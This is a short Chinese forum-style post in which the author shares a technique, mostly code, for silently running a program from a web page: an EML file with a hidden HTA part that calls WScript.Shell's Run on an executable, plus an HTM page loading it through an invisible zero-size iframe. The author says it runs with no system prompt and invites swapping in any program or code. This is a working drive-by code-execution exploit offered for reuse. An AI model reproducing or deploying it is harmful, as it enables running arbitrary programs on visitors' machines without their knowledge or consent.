自己解决了-,-用一个eml文件执行代码===== EML文件: run.eml =========
MIME-Version: 1.0 /*MIME-多用途的网际邮件扩充协议的版本*/
Content-Type: multipart/related; /*内容类型*/
   type="multipart/alternative";
   boundary="1" /*分界线*/--1 
Content-Type: multipart/alternative;
   boundary="2"--2
Content-Type: text/html;
   charset="gb2312"
Content-Transfer-Encoding: quoted-printable<HTML>
<BODY bgColor=3D#ffffff>
<CENTER>
<object style=3D"display:none" data=3Dcid:THE-CID height=3D0 width=3D0>
</object>
</CENTER>
</BODY>
</HTML> 
--2----1 
Content-Type: application/hta;
Content-Transfer-Encoding: 7bit
Content-ID: <THE-CID><html>
<HTA:APPLICATION  caption="no" border="none" windowState="minimize" visiable="no">
<body>
说明:可以自己加入其他代码或控件
<object id='wsh' classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></object> 
<script language=JavaScript>
wsh.Run("C:\\Lotus\\Notes\\notes.exe");//打开记事本程序,可改为自己要执行的程序
window.close();//关闭hta文件
</script>
</body>
</html>
--1--
============= END ==============运行这个eml文件的htm文件,要用直接运行这个htm就行,没系统提示的.
======== RUN.htm ================
<html>
<body>
<script>
window.focus();
</script>
<IFRAME SRC="run.eml" width=0 height=0></IFRAME>
</body>
</html>
========== END ==================